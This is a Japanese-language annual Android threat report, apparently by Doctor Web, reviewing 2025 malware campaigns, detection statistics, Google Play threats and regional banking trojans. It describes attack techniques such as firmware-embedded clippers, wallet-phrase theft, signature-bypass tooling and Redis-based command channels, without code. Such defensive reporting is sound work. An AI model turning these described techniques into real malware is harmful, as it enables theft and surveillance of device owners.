Google Playでは2025年を通して180を超える脅威が発見され、そのダウンロード数は合計で216万5000回を超えています。それらの中にはユーザーを有料サービスに登録するさまざまなトロイの木馬や詐欺に用いられる偽アプリ、そして新たなアドウェアや望ましくないアプリが含まれていました。

2025年にもマルウェア作成者たちはAndroidマルウェアの解析を複雑化させたりアンチウイルスによる検出を回避したりするためにあらゆる手法を駆使し続けています。なかでも人気を集めている手法の1つがDEXコードをCコードに変換するというものです。さらに、マルウェアを作成する際のアプリのコード記述にAIアシスタントの助けを借りているケースもDoctor Webのウイルスアナリストによって確認されています。

2025年の主な傾向

広告を表示させるトロイの木馬が引き続き最も多く検出されたAndroid脅威となる
改造したアプリのコードを難読化し、改造後のデジタル署名検証をバイパスできるようにするツールNP Manager が多く使用されるようになる
バンキング型トロイの木馬の活動が活発化
Android デバイスのファームウェア感染に新たな事例が確認される
サイバー犯罪者はマルウェアを検出や解析から保護するために依然として従来の手法と新たな手法の両方を駆使
マルウェア作成者は悪意のあるコードの記述にAIアシスタントを積極的に活用
Google Playに新たな脅威が出現

2025年の最も注目すべきイベント

2025年4月、Doctor WebのエキスパートはAndroidデバイスユーザーから仮想通貨（暗号資産）を盗む大規模なキャンペーンを発見しました。攻撃者は中国の複数のサプライチェーンを侵害し、いくつかの低価格帯スマートフォンモデルのファームウェアにトロイの木馬 Android.Clipper.31 を仕込んでいました。 Android.Clipper.31 はメッセージングアプリWhatsAppに組み込まれており、このトロイの木馬化された改変版WhatsAppの作成には、コードに手を加えることなくアプリの動作ロジックを変更できる LSPatch ツールが使用されていました。

Android.Clipper.31 はWhatsApp内で送受信されるメッセージを傍受し、仮想通貨TronおよびEthereumのウォレットアドレス形式に一致する文字列を検出してそれらを攻撃者のアドレスに置き換えます。同時に、置き換えに気づかれることのないようユーザーに対しては正しいウォレットアドレスを表示させます。また、スクリーンショットとして保存されている、仮想通貨ウォレットへのアクセスを可能にするニーモニック（mnemonic）フレーズを見つけるためにすべての jpg、png、jpeg 画像を攻撃者に送信します。Android.Clipper.31 はWhatsAppの他にも数十のアプリに組み込まれており、これには広く使用されている仮想通貨ウォレットアプリやQRコードスキャナ、Telegramなどの他のメッセージングアプリが含まれています。改変されたこれらのアプリは悪意のあるWebサイトから拡散されていました。

2025年には、このようにAndroidデバイスのシステム領域にマルウェアがプリインストールされる事例について他にも新たなものが発見されています。その１例としてあげられるのが、悪意のあるグループによって危険なトロイの木馬 Android.Triada の新たなバージョンが複数の安価なスマートフォンのファームウェアに埋め込まれていたというものです。Android.Triada が危険な脅威とされるのは、システムのZygoteプロセスを感染させることができるためです。このプロセスはシステム内のすべてのアプリケーションの起動に直接関与しています。つまり、Zygoteプロセスを感染させることで Android.Triada はデバイス上のあらゆるアプリケーション内に侵入することができ、事実上完全にデバイスのコントロールを掌握することが可能になります。脅威アクターは Android.Triada を使用することで望ましくないアプリやアドウェアなどといった別のマルウェアをダウンロードしてインストールできるほか、被害者をスパイしたり、有料サービスに登録したりすることも可能です。そのほか、2024年にDoctor Webによって発見されたトロイの木馬 Android.Vo1d の新たな亜種が関与するAndroid TVボックスのファームウェア感染にも新たな事例が確認されました。Android.Vo1d は感染させたデバイスのシステム領域に自身のコンポーネントを置くバックドアで、攻撃者のコマンドに応じてサードパーティソフトウェアを密かにダウンロードしてインストールする機能を備えています。

同じく4月、Doctor Webのアンチウイルスラボはロシアの軍関係者を標的にスパイウェア型トロイの木馬 Android.Spy.1292.origin を拡散する攻撃キャンペーンを発見しました。脅威アクターはこのトロイの木馬を地図アプリ「AlpineQuest」の一部のバージョンに埋め込み、作成した偽のTelegramチャンネルを公式と偽ってそこから拡散していました。そのほか、ロシアのAndroidアプリ配信サイトも拡散源となっています。

攻撃者がトロイの木馬 Android.Spy.1292.origin の潜んだ悪意のある改変版「AlpineQuest」を拡散するために使用していたTelegramチャンネル

Android.Spy.1292.origin は携帯電話番号とアカウント、電話帳の連絡先、デバイスの位置情報、デバイスのメモリ内に保存されているファイルに関する情報などといった機密データをサイバー犯罪者に送信していました。また、攻撃者からコマンドを受け取った場合は特定のファイルを盗むこともできます。主に狙われていたのはユーザーがTelegramやWhatsApp経由で送信する機密文書、そしてAlpineQuestによって作成される位置情報ログファイルでした。

8月、Doctor Webは人気のメッセージングアプリのダイレクトメッセージ（DM）を使用して拡散されていたバックドア Android.Backdoor.916.origin について記事を公開しました。被害者はメッセージに添付されたAPKファイルから「アンチウイルス」をインストールするよう促されますが、実際にはこのファイルにマルウェアが潜んでいます。Doctor Webのアンチウイルスラボは2025年1月に Android.Backdoor.916.origin の最初のバージョンを発見し、それ以来その活動を監視してきました。このことが、今回の新たなキャンペーンの迅速な特定につながりました。

アンチウイルスの動作を模倣してユーザーを欺くAndroid.Backdoor.916.origin

Androidデバイスにインストールされると、Android.Backdoor.916.origin は攻撃者が機密情報を窃取しユーザーをスパイすることを可能にします（会話を盗聴する、デバイスのカメラからブロードキャストする、位置情報を追跡する、メッセンジャーやブラウザから内容を盗むなど）。さらに、Android.Backdoor.916.origin はキーロガー機能も備えており、入力されたテキスト（パスワードなど）を傍受します。このバックドアは不特定のAndroidユーザー間での大量拡散を狙ったものではなく標的型攻撃を目的に設計されているものと考えられ、その主たる標的はロシア企業の従業員でした。

10月、Doctor WebはメッセンジャーアプリTelegram Xの改変版に潜む多機能バックドア Android.Backdoor.Baohuo.1.origin を発見しました。主な拡散源はユーザーがアプリ内広告からリダイレクトされる悪意のあるWebサイトです。これらのサイトでユーザーはチャットやデートの相手を見つけるための便利なアプリとして紹介されているTelegram Xをインストールするよう勧められます。標的とされていたのは主にブラジルとインドネシアのユーザーでした。拡散源は悪意のあるサイトだけではなく、サードパーティアプリストアでも Android.Backdoor.Baohuo.1.origin が検出されています。

トロイの木馬化されたバージョンのTelegram Xがダウンロードされていた悪意のあるサイトの1つ

Android.Backdoor.Baohuo.1.origin の実行するタスクの1つが機密データの窃取で、被害者のTelegramアカウントからログインIDとパスワード、チャット履歴、着信SMS、電話帳の連絡先を盗むほか、クリップボードの内容を傍受します。しかしながら、Android.Backdoor.Baohuo.1.origin は単にスパイウェアとして機能するだけではありません。Android.Backdoor.Baohuo.1.origin を使用することで脅威アクターはハッキングしたアカウントとメッセンジャー自体の両方を乗っ取り、さまざまな操作を実行することが可能です。たとえば、ユーザーを密かにTelegramチャンネルに追加・削除したり、ユーザーに成り代わってチャットへの参加・退出を行ったり、アカウントの認証済みデバイスを非表示にしたりできます。Telegram Xの動作ロジックを変更する必要のあるアクションを実行する場合には、Xposedフレームワークが使用されます。バックドアの操作には従来の方法であるC2サーバー経由に加え、これまでAndroidマルウェアでは例を見ないRedisデータベース経由でのコマンド送信が使用されています。合計で58,000台を超えるデバイスが Android.Backdoor.Baohuo.1.origin に感染しており、これにはおよそ3千の異なるモデルのスマートフォンやタブレット、TVボックスセット、そしてAndroidベースの車載OSを搭載した自動車が含まれていました。

Android.Backdoor.Baohuo.1.origin に感染したデバイス数の多い国

統計

Dr.Web Security Space for mobile devices（モバイルデバイス向けDr.Web Security Space）によって収集された検出統計によると、2025年に最も多く検出されたAndroid脅威はさまざまな悪意のあるプログラムで、検出された脅威全体の81.11%を占めました。次いでリスクウェアが10.73%を占めて2位となり、アドウェアが5.89%を占めて3位につけました。最も検出数の少なかったのは望ましくないアプリで、2.27%を占めて最下位となっています。

2024年比での全検出数に占める割合は、悪意のあるプログラムとリスクウェアで増加し、望ましくないアプリとアドウェアでは減少しています。

以下のグラフは、脅威の内訳を種類別に表したものです。

悪意のあるプログラム

最も多く検出されたマルウェアの座はここ数年にわたって Android.HiddenAds ファミリーに属する広告を表示するトロイの木馬が占めており、2025年にもこの状況に変化はみられませんでした。ただし、マルウェア検出数全体に占める Android.HiddenAds の割合は31.95%から27.42%へとわずかに減少しています。

これらトロイの木馬は全画面（フルスクリーン）バナーや動画という形で迷惑な広告を表示させます。また、ユーザーによる検出や削除から逃れるため、インストールされた後に自身の存在を隠そうとします（ホーム画面の自身のアイコンを隠したり置き換えたりするなど）。

Android.HiddenAds ファミリーの中で最も多く検出されたのは Android.HiddenAds.657.origin で、同ファミリー検出数全体の3分の1以上を占めています。このトロイの木馬は2021年から知られている Android.HiddenAds.1994 の数ある亜種の1つで、2024年にDoctor Webウイルスアナリストの目を引き、2025年ついにトップに躍り出ました。2025年には Android.HiddenAds.666.origin や Android.HiddenAds.673.origin など、Android.HiddenAds.1994 の新たな亜種もいくつか拡散されています。他の亜種がそうであったように、これらの亜種もいずれ上位に進出してくる可能性があります。

Android.HiddenAds のサブファミリーであるAegisも引き続き検出されていますが、ファミリー検出数全体に占める割合は17.37%から3.11%へと大幅に減少しています。これらトロイの木馬はインストール後自動的に起動することができます。最も多く検出された亜種は Android.HiddenAds.Aegis.1 と Android.HiddenAds.Aegis.8.origin でした。

2番目に多く検出されたマルウェアはアドウェア型トロイの木馬 Android.MobiDash で、マルウェア検出数全体に占める割合は5.38%から15.64%に増加しました。最も多く検出された亜種は Android.MobiDash.7859 となっています。3番目に多く検出されたマルウェアは、サイバー犯罪者によってさまざまな詐欺スキームに用いられる偽アプリ Android.FakeApp でした。Android.FakeApp はうたわれた機能を実行する代わりにさまざまなサイトを開きます。マルウェア検出数全体に占める割合は2024年の18.28%から減少し10.94%となりました。この減少の一因となっているのが、オンラインカジノのサイトを開くことを主な目的としたトロイの木馬 Android.FakeApp.1600 の活動低下です。ただし、この Android.FakeApp.1600 は依然として Android.FakeApp ファミリーの中で最も多く拡散されている亜種となっています。

多様なスパイウェア機能を備えたトロイの木馬 Android.Spy ファミリーの、マルウェア検出数全体に占める割合は11.52%から3.09%へと減少しました。一方、バンキング型トロイの木馬の活動は増加し、その検出数が占める割合は6.29%から6.94%に増加しています。

マルウェアを検出や解析から保護するために使用されるソフトウェアパッカーの検出数は5.49%から6.01%へと増加しました。最も多く検出されたのは Android.Packed.57146 でパックされた悪意のあるアプリでした。

WhatsApp MessengerのさまざまなMod（改造版）も多く拡散され、その中にはユーザーに気づかれず密かにWebサイトを開くという亜種もありました（Dr.Webによって Android.Click.1812 として検出）。多機能トロイの木馬 Android.Triada ファミリーの活動も増加し、2.74%から7.48%となりました。これはサイバー犯罪者によってAndroidデバイスのファームウェアに埋め込まれるトロイの木馬です。

以下のグラフは2025年に最も多く検出された上位10のマルウェアです。

Android.HiddenAds.657.origin
Android.HiddenAds.4214
Android.HiddenAds.655.origin
Android.HiddenAds.4213
Android.HiddenAds.666.origin: 迷惑な広告を表示するよう設計されたトロイの木馬です。無害でポピュラーなアプリを装って拡散されることが多く、別のマルウェアによってシステムディレクトリ内にインストールされる場合もあります。通常、これらのトロイの木馬はAndroidデバイス上に侵入すると自らの存在をユーザーから隠そうとします（ホーム画面からアイコンを「隠す」など）。
Android.MobiDash.7859: 迷惑な広告を表示させるトロイの木馬です。開発者によってアプリケーション内に埋め込まれる特殊なソフトウェアモジュールです。
Android.FakeApp.1600: 設定にハードコードされたWebサイトを開くトロイの木馬アプリです。既知の亜種ではオンラインカジノのサイトが開かれます。
Android.Click.1812: さまざまなWebサイトをバックグラウンドで密かに読み込むことができる、悪意のあるWhatsApp Messenger Mod（改造版）の検出名です。
Android.Packed.57146: 一般的な商用のコード難読化ツールを使用してパックされた悪意のあるアプリの検出名です。
Android.Triada.5847: Android.Triada トロイの木馬を検出や解析から保護するよう設計されたパッカーの検出名です。多くの場合、このパッカーは Android.Triada が埋め込まれた悪意のあるTelegramメッセンジャーMod（改造版）と一緒に用いられます。

望ましくないアプリケーション

2025年に最も多く検出された望ましくないアプリケーションは51.96%を占めて再び Program.FakeMoney.11 となりました。これらはさまざまなタスクを完了することで仮想報酬を得ることができるとうたうアプリです。この報酬は現金化できるとされていますが、実際にはユーザーがお金を受け取ることはありません。同様のアプリである Program.FakeMoney.14 や Program.FakeMoney.16 も広く拡散されましたが、その検出数ははるかに少ないものとなっています。

アンチウイルスの動作を模倣して存在しない脅威の検出を通知し、検出された問題を「修復」するために製品の完全版を購入するよう促すアプリ Program.FakeAntiVirus.1 が10.37%を占めて2位につけました。

3位となったのはクラウドサービスCloudInjectを使用して改造されたアプリケーション Program.CloudInject.1 で、6.41%を占めています。その亜種である Program.CloudInject.5 が5.08%を占めて Program.CloudInject.1 に迫り、4位となりました。これらのアプリケーションの改造はリモートサーバー上で直接行われます。CloudInjectサービスへのアクセスはユーティリティTool.CloudInject によって提供されますが、これはCloudInjectサービスを使用するためのシェルにすぎません。アプリケーションには改造過程で危険な権限や難読化されたコードが追加され、そのうえ、改造後のアプリは改造者がCloudInjectサービスを介してリモートで管理できるようになります（アプリをロックし、使用を継続するためにコード入力を要求するなど）。

ユーザーを監視し、そのアクティビティをコントロールするために使用できるアプリの検出数はわずかに増加しています。こうしたアプリは悪意のあるアクターが手にした途端にスパイウェアと化します。Program.TrackView.1.origin とその亜種である Program.TrackView.2.origin はそれぞれ2.40%から2.91%、0.21%から0.97%へと増加しました。Program.SecretVideoRecorder.1.origin は2.03%から2.56%、その亜種である Program.SecretVideoRecorder.2.origin —は0.90%から1.02%に増加し、そして Program.SnoopPhone.1.origin は0.31%から1.01%に増加しています。

以下のグラフは2025年に最も多く検出された上位10の望ましくないアプリケーションです。

Program.FakeMoney.11
Program.FakeMoney.14: さまざまなタスクを完了することでお金を稼ぐことができるとうたうAndroidアプリケーションの検出名です。このアプリはタスクが完了するたびに報酬が貯まっていくかのように見せかけます。「稼いだ」お金を引き出すために（多くの場合、一般的に広く使用されている支払いシステムや銀行を指定されます）、ユーザーは一定の金額を貯める必要があるとされていますが、たとえその金額が貯まったとしても実際にお金を手にすることはできません。このウイルスレコードは、そのようなアプリのソースコードを基に作成された他の望ましくないソフトウェアの検出にも使用されます。
Program.FakeAntiVirus.1: アンチウイルスソフトウェアを模倣するアドウェアアプリケーションの検出名です。これらのアプリは存在しない脅威について偽の通知をすることでユーザーを騙し、ソフトウェアの完全版を購入するよう要求します。
Program.CloudInject.1
Program.CloudInject.5: クラウドサービスCloudInjectと、同名のAndroidユーティリティ（Tool.CloudInject としてDr.Webウイルスデータベースに追加されています）を使用して改造されたAndroidアプリケーションの検出名です。アプリケーションはリモートサーバー上で改造されますが、その際、改造者はアプリに何が追加されるのか具体的な改造内容をコントロールすることができません。また、これらのアプリケーションは危険なシステム権限を複数要求します。改造後のアプリは改造者がリモートで管理できるようになります（アプリをブロックする、カスタムダイアログを表示する、他のソフトウェアのインストールや削除を追跡するなど）。
Program.TrackView.1.origin
Program.TrackView.2.origin: Androidデバイスを通じてユーザーを監視できるようにするアプリケーションの検出名です。このアプリを使用することで、悪意のあるアクターがデバイスの位置を追跡したり、カメラで動画や写真を撮ったり、マイクで周囲の音を聞いたり、音声を録音したりすることが可能になります。
Program.SecretVideoRecorder.1.origin
Program.SecretVideoRecorder.2.origin: Androidデバイスの内蔵カメラを使用して周囲の動画や写真を撮影するよう設計されたアプリケーションの、さまざまな亜種の検出名です。撮影中であることを知らせる通知を無効にしたり、アプリのアイコンと表示名を偽のものに置き換えたりすることができ、密かに動作することが可能です。これらの機能により、潜在的に危険なソフトウェアとみなされます。
Program.SnoopPhone.1.origin: Androidユーザーのアクティビティを監視するよう設計されたアプリケーションです。このアプリを使用することで、第三者がSMSを読む、通話に関する情報を収集する、デバイスの位置を追跡する、周囲の音声を録音することが可能になります。

リスクウェア

2025年に最も多く検出されたリスクウェアは、NP Managerユーティリティを使用して改造されたアプリとなりました。NP Managerはアプリを改造するために設計されたツールで、アプリのコードを難読化して保護するためのモジュールや、改造後にデジタル署名検証をすり抜けるためのモジュールが実装されています。多くの場合、脅威アクターは悪意のあるアプリケーションを保護しアンチウイルスによる検出をより困難なものにするためにこのツールを使用します。これらアプリの検出数は2024年の24.52%から53.59%へと増加し、2025年にはリスクウェア検出数全体の半数以上を占めています。最も多く検出された亜種は Tool.NPMod.3（32.85%）、Tool.NPMod.1（12.61%）、Tool.NPMod.1.origin（3.02%）、Tool.NPMod.4（2.31%）でした。

プログラミング言語Luaを使用してAndroidアプリを開発するためのフレームワークである Tool.Androlua の検出数は3.93%から8.11%に増加しました。このようなフレームワークはアクセシビリティサービス（ユーザー補助機能）の使用を含む多くのシステム権限を要求します。Tool.Androlua フレームワークを使用して作成されたアプリは、実行直前に復号化される暗号化されたLuaスクリプトをベースにしており、こうしたスクリプトは悪意のあるものとなりえます。ツール Tool.LuckyPatcher を使用して改造されたアプリの検出数も8.16%から10.06%に増加しています。このツールは特別なスクリプトをインターネットからダウンロードすることにより、Androidデバイスにインストールされているアプリを改変します。

一方、Androidアプリをインストールせずに実行できるようにするユーティリティ Tool.SilentInstaller は33.10%から10.55%に減少しました。最も多く検出された亜種は Tool.SilentInstaller.14.origin（4.66%）、Tool.SilentInstaller.6.origin（2.07%）、Tool.SilentInstaller.7.origin（1.88%）となっています。また、パッカーTool.Packer.1.origin によって保護されたアプリの検出数も13.17%から2.58%へと減少しています。

以下のグラフは2025年に最も多く検出された上位10のリスクウェアです。

Tool.NPMod.3
Tool.NPMod.1
Tool.NPMod.1.origin
Tool.NPMod.4: NP Managerユーティリティを使用して改造されたAndroidアプリの検出名です。NP Managerにはアプリのコードを難読化して保護するためのモジュールや、改造後にデジタル署名の検証をバイパスするためのモジュールが実装されています。多くの場合、難読化はマルウェアの検出や解析をより困難にする目的で行われます。
Tool.Androlua.1.origin: スクリプト言語Luaを使用してAndroidアプリを開発するための特別なフレームワークの、潜在的に危険なバージョンの検出名です。Luaベースアプリの主なロジックは、実行時に対応するスクリプトがインタプリタによって暗号化・復号化されるというものです。多くの場合、このフレームワークは動作するためにデフォルトで多数のシステム権限へのアクセスを要求します。その結果、フレームワークが実行するLuaスクリプトによって、取得した権限に応じたさまざまな悪意のある動作が実行される可能性があります。
Tool.LuckyPatcher.2.origin
Tool.LuckyPatcher.1.origin: Androidデバイスにインストールされたアプリを改変できるようにする（パッチを作成する）ツールです。アプリの動作ロジックを変更したり特定の制限を回避したりする目的で使用されます。たとえば、ユーザーはこのツールを使用することで、バンキングアプリのルートアクセス検証を無効にしたり、ゲーム内で無限のリソースを取得したりできます。パッチを追加するために、このユーティリティは特別に作成されたスクリプトをインターネットからダウンロードしますが、このスクリプトは誰でも作成して共通のデータベースに追加することができます。そのようなスクリプトの機能が悪意のあるものである場合もあることから、このツールを使用して作成されたパッチは潜在的な脅威となる可能性があります。
Tool.SilentInstaller.14.origin: アプリケーションがAPKファイルをインストールせずに実行できるようにする、リスクウェアプラットフォームです。埋め込まれているアプリのコンテキスト内で仮想ランタイム環境を作成します。これらのプラットフォームを使用して起動されたAPKファイルは、アプリの一部であるかのように動作し、アプリと同じ権限を取得します。
Tool.Packer.1.origin: Androidアプリケーションを不正な改変やリバースエンジニアリングから保護するよう設計されたパッカーツールです。このツール自体は悪意のあるものではありませんが、無害なアプリケーションだけでなく悪意のあるアプリケーションを保護するために使用される可能性があります。

アドウェア

2025年に最も多く検出されたアドウェアは、Adware.ModAd.1 として検出されるWhatsApp MessengerのMod（改造版）でした。この改造版には使用中にリンクを開く機能が追加されており、ユーザーはそれらのリンクから広告サイトへとリダイレクトされます。アドウェア検出数全体に占める Adware.ModAd.1 の割合は2024年の47.45%から26.90%に減少しています。

Androidアプリに組み込まれて広告を含んだ通知を表示させるモジュール Adware.Adpush が、14.76%から26.19%へとシェアを伸ばして2位にランクインしました。3位となったのは2024年とほぼ変わらず8.88%を占めた Adware.Basement ファミリーです。Adware.Basement は悪意のあるサイトにつながる広告を表示させます。

そのほか、Adware.Airpush（4.35%から5.14%に増加）、Adware.Fictus（3.29%から6.21%に増加）、Adware.Youmi（1.62%から2.91%に増加）、Adware.Leadbolt（2.26%から2.41%に増加）、Adware.Jiubang（1.70%から2.38%に増加）ファミリーに属するアドウェアも多く検出されています。

以下のグラフは2025年に最も多く検出された上位10のアドウェアです。

Adware.ModAd.1: その機能に特定のコードが挿入されている、WhatsApp MessengerのMod（改造版）です。このコードはメッセンジャーの動作中にWebコンテンツを表示（Android WebViewコンポーネントを使用して）させることで目的のURLをロードします。これらのURLから、オンラインカジノやブックメーカー、アダルトサイトなどの広告サイトへのリダイレクトが実行されます。
Adware.AdPush.3.origin
Adware.Adpush.21846
Adware.AdPush.39.origin: Androidアプリに組み込まれ、さまざまな広告を表示するアドウェアモジュールのファミリーです。表示されるものはモジュールのバージョンや亜種によって異なり、広告を含む通知やポップアップウィンドウ、バナーなどがあります。多くの場合、攻撃者はユーザーにさまざまなソフトウェアをインストールするよう促してマルウェアを拡散させる目的で、これらのモジュールを使用しています。さらに、これらモジュールは個人情報を収集してリモートサーバーに送信します。
Adware.Basement.1: 迷惑な広告を表示するアプリです。多くの場合、それらの広告は悪意のあるサイトや詐欺サイトにつながっています。このアプリには望ましくないアプリ Program.FakeMoney.11 と同じコードベースが使用されています。
Adware.Fictus.1.origin: 人気のAndroid アプリやゲームのクローンバージョンに組み込まれるアドウェアモジュールで、その際にnet2shareパッカーが使用されます。この方法で作成されたアプリのコピーはさまざまな配信ストアから拡散され、Androidデバイス上にインストールされると迷惑な広告を表示します。
Adware.Airpush.7.origin: Androidアプリに組み込まれ、さまざまな広告を表示するアドウェアモジュールのファミリーです。表示されるものはモジュールのバージョンや亜種によって異なり、広告を含む通知やポップアップウィンドウ、バナーなどがあります。多くの場合、攻撃者はユーザーにさまざまなソフトウェアをインストールするよう促してマルウェアを拡散させる目的で、これらのモジュールを使用しています。さらに、これらモジュールは個人情報を収集してリモートサーバーに送信します。
Adware.Youmi.4: Androidデバイスのホーム画面に広告ショートカットを追加する、望ましくないアドウェアモジュールの検出名です。
Adware.Jiubang.1: Androidデバイス向けの望ましくないアドウェアで、アプリケーションのインストール時に特定のプログラムを宣伝するバナーを表示させます。
Adware.Inmobi.1: InmobiのアドウェアSDKの一部バージョンの検出名です。電話をかけたり、Android デバイスのカレンダーにイベントを追加したりできます。

Google Play上の脅威

2025年、Doctor WebのアンチウイルスラボはGoogle Playで180を超える悪意のあるアプリ、望ましくないアプリ、アドウェアアプリを発見しました。これらのアプリは合計で216万5040回以上ダウンロードされています。その中には、感染させたデバイス上で自身の存在を隠し、システムインターフェースや他のプログラムの上に重ねて広告を表示させるトロイの木馬 Android.HiddenAds.4213 と Android.HiddenAds.4215 のさまざまな亜種が含まれており、画像編集ツールや写真・動画を撮影するためのカメラアプリなどを装って拡散されていました。

アプリ「Time Shift Cam」と「Fusion Collage Editor」は Android.HiddenAds ファミリーに属するアドウェア型トロイの木馬だった

仮想通貨を盗むよう設計されたトロイの木馬 Android.CoinSteal.202、Android.CoinSteal.203、Android.CoinSteal.206 も発見されています。これらは仮想通貨取引所Dydxの公式アプリや、ブロックチェーンプラットフォームRaydiumとAerodrome Financeの公式アプリを装って拡散されていました。

「Raydium」と「Dydx Exchange」に偽装した、仮想通貨を盗むトロイの木馬

これら悪意のあるアプリは、起動されると仮想通貨ウォレットにアクセスするためと称してニーモニックフレーズを入力するようユーザーに求めます。実際には、入力されたデータは攻撃者に送信されます。なかには、別の仮想通貨プラットフォームからの要求を装った入力フォームが表示される場合もありました。

仮想通貨取引所PancakeSwapを装ったフィッシングフォームを表示させ、仮想通貨ウォレットにアクセスするためのニーモニックフレーズを入力するようユーザーに要求する Android.CoinSteal.206

2025年を通して、80を超える悪意のある Android.Joker アプリが発見されています。これらはユーザーを有料サービスに登録するトロイの木馬で、メッセンジャーや写真アプリ、システムツール、画像編集アプリ、ドキュメント管理アプリなどといったさまざまなアプリを装って拡散されていました。

発見された Android.Joker トロイの木馬の例：Android.Joker.2494 はメッセンジャー「File Text Messages」を装って拡散され、Android.Joker.2496 はスマートフォンの動作を最適化するユーティリティ「Useful Cleaner」に偽装していた

さまざまな詐欺スキームに用いられる Android.FakeApp 偽アプリも引き続きあらゆるものが拡散されています。これらトロイの木馬の主な目的はWebサイトを開くことです。その一部は金融関連アプリに偽装して、フィッシングサイトや、投資またはオンライン収入関連を装った詐欺サイトを開きます。また別の一部はゲームを装って拡散されていました。このタイプの Android.FakeApp は特定の条件下でゲームとして機能する代わりにオンラインカジノやブックメーカーのサイトを開く場合があります。Google Playでは100を超えるそのようなアプリが発見されています。

Android.FakeApp 偽アプリの例：トルコのユーザーを標的とした預金や収入を管理できるとうたうアプリ「TPAO」に潜んだトロイの木馬 Android.FakeApp.1863 と、ゲーム「Pino Bounce」を装って拡散されオンラインカジノのサイトを開く場合のあるトロイの木馬 Android.FakeApp.1840

新たなアドウェアもDoctor Webのウイルスアナリストによって発見されています。Adware.Adpush.21912 と名づけられたアドウェアは仮想通貨に関する情報を提供するアプリ「Coin News Promax」に隠されていました。 Adware.Adpush.21912 は通知を表示させ、その通知がクリックされるとС2サーバーによって指定されたリンクをWebView内で開きます。

Google Playで提供されているアプリ「Coin News Promax」にはアドウェア Adware.Adpush.21912 が潜んでいた

そのほか、望ましくないアプリケーション Program.FakeMoney.16 も発見されました。Program.FakeMoney.16 は「Zeus Jackpot Mania」というアプリを装って拡散されており、このアプリでユーザーはゲームをプレイして仮想報酬を獲得し、現金化して引き出すことができるとされています。

「Zeus Jackpot Mania」は望ましくないアプリケーション Program.FakeMoney.16 だった

ユーザーは現金を「引き出す」ためにいくつか情報を提供するよう要求されますが、最終的にお金を受け取ることはありません。

ユーザーに氏名と銀行口座情報を提供するよう求める Program.FakeMoney.16

バンキング型トロイの木馬

Dr.Web Security Space for mobile devices（モバイルデバイス向けDr.Web Security Space）によって収集された検出統計によると、2025年に検出されたバンキング型トロイの木馬のマルウェア検出数全体に占める割合は2024年の6.29%をわずかに上回る6.94%となりました。その活動は第1四半期を通じてほぼ横ばいで推移しましたが、第2四半期の初めには大幅な増加がみられました。その後は緩やかに減少に転じ、7月に年間最低数を記録しています。8月を境に再び増加に転じ、10月にピークに達した後、2025年の終わりには再び減少が確認されています。

2025年にも、よく知られたバンキング型トロイの木馬のファミリーが再び攻撃に使用されました。なかでも活発に拡散されていたのが、Android.Banker.Mamont、Coper、Android.BankBot.Ermac などです。そのほか、NGate トロイの木馬の新たなバージョンも発見されています。これはNFC技術を悪用して金銭を窃取するトロイの木馬で、感染させたデバイスのNFCチップからデータを攻撃者に送信することにより、ATMで被害者の口座から勝手にお金を引き出したり、非接触型決済（タッチ決済）で被害者の関与なしに不正に支払いを行ったりできるようにします。最も多く検出された亜種は、Android.Banker.NGate.8、Android.Banker.NGate.17、Android.Banker.NGate.5.origin でした。

スパイウェア機能を備えた Android.SpyMax も引き続き拡散されています。Android.SpyMax はRAT（リモートアクセス型トロイの木馬）であるSpyNoteの流出したソースコードをベースにしたトロイの木馬で、スパイウェアとしてのみでなくバンキング型トロイの木馬としても使用されています。ただし、バンキング型トロイの木馬の検出数全体に占める Android.SpyMax の割合は2024年の32.04%から12.35%へと減少しており、活動には低下がみられます。

2025年にロシアのユーザー間で最も多く拡散されたバンキング型トロイの木馬は広範なMamontファミリーに属するもので（Android.Banker.790.origin、Android.Banker.Mamont.3.origin、Android.Banker.Mamont.28.origin など）、これにはマルウェア作成者が意欲的に改変や開発を続けている多種多様な悪意のあるアプリが含まれています。これらのアプリはクレジットカード会社からのワンタイムコードを含んだSMSを傍受し、バンクカード情報などの機密情報を窃取します。

ウズベキスタンとその近隣諸国（アルメニア、アゼルバイジャン、キルギス共和国）のユーザーを標的としたバンキング型トロイの木馬の活動も観測されました。最も多く検出されたのは、銀行から送信されるSMSから認証コードを盗む Android.Banker.951.origin、Android.Banker.881.origin、Android.Banker.963.origin などのトロイの木馬です。これらトロイの木馬は、より検出されにくくなるよう常に改良され続けています。トルコのユーザーを襲ったバンキング型トロイの木馬の中で最も多く検出されたのも、同じくSMSの内容を盗むトロイの木馬 Android.BankBot.Coper.12.origin、Android.Banker.5685、Android.Banker.864.origin でした。

イランのユーザーは Android.BankBot.1190.origin や、Android.BankBot.1191.origin とその亜種による攻撃を受けました。これらバンキング型トロイの木馬は、被害者のバンクカード、口座、残高、取引などといった金融情報をSMSから盗み出し、攻撃者に送信します。また、電話帳から連絡先情報を収集し、攻撃者から受け取るコマンドに従ってSMSを送信する機能も備えています。

インドネシアや韓国を含む東南アジアおよびアジア太平洋地域の多くの国では Android.BankBot.Remo.1.origin による攻撃が観測されました。このトロイの木馬はAndroidのアクセシビリティサービス（ユーザー補助機能）を悪用して、感染させたデバイスにインストールされている銀行アプリや仮想通貨ウォレットからデータを窃取します。韓国のユーザーはこのRemoトロイの木馬に加えて Android.BankBot.15140、Android.BankBot.Ermac.6.origin、そして GoldDigger（Android.BankBot.GoldDigger.9、Android.BankBot.GoldDigger.11）による攻撃も受けました。

GoldDiggerはインドネシアとタイのユーザーに対する攻撃にも使用されています。インドネシアとマレーシアのユーザーはバンキング型トロイの木馬 Android.BankBot.Gigabud.1.origin の標的となりました。日本では引き続きトロイの木馬MoqHaoファミリーが拡散され、なかでも Android.Banker.672.origin、Android.Banker.5063、Android.Banker.740.origin といった亜種が多く検出されています。

インドのユーザーを襲ったバンキング型トロイの木馬の1つは Android.Banker.6209 でした。このトロイの木馬は正規銀行アプリの外観を模倣して、被害者の氏名、バンクカード番号、セキュリティコード（CVV）などの情報を窃取します。また、Android.Banker.814.origin や Android.Banker.913.origin、Android.Banker.5132 などのRewardStealバンキング型トロイの木馬も依然として活発です。これらはインドの大手金融機関（ICICI銀行、SBI、アクシス銀行、PM Kisanなど）と関連があるように見せかけたアプリに偽装して被害者の金融情報を盗むトロイの木馬です。

ブラジルでは、Android.BankBot.1183.origin のほか、Android.Banker.NGate.8、Android.Banker.NGate.9、Android.Banker.NGate.14 などのNGateファミリーに属するバンキング型トロイの木馬が最も多く拡散されました。

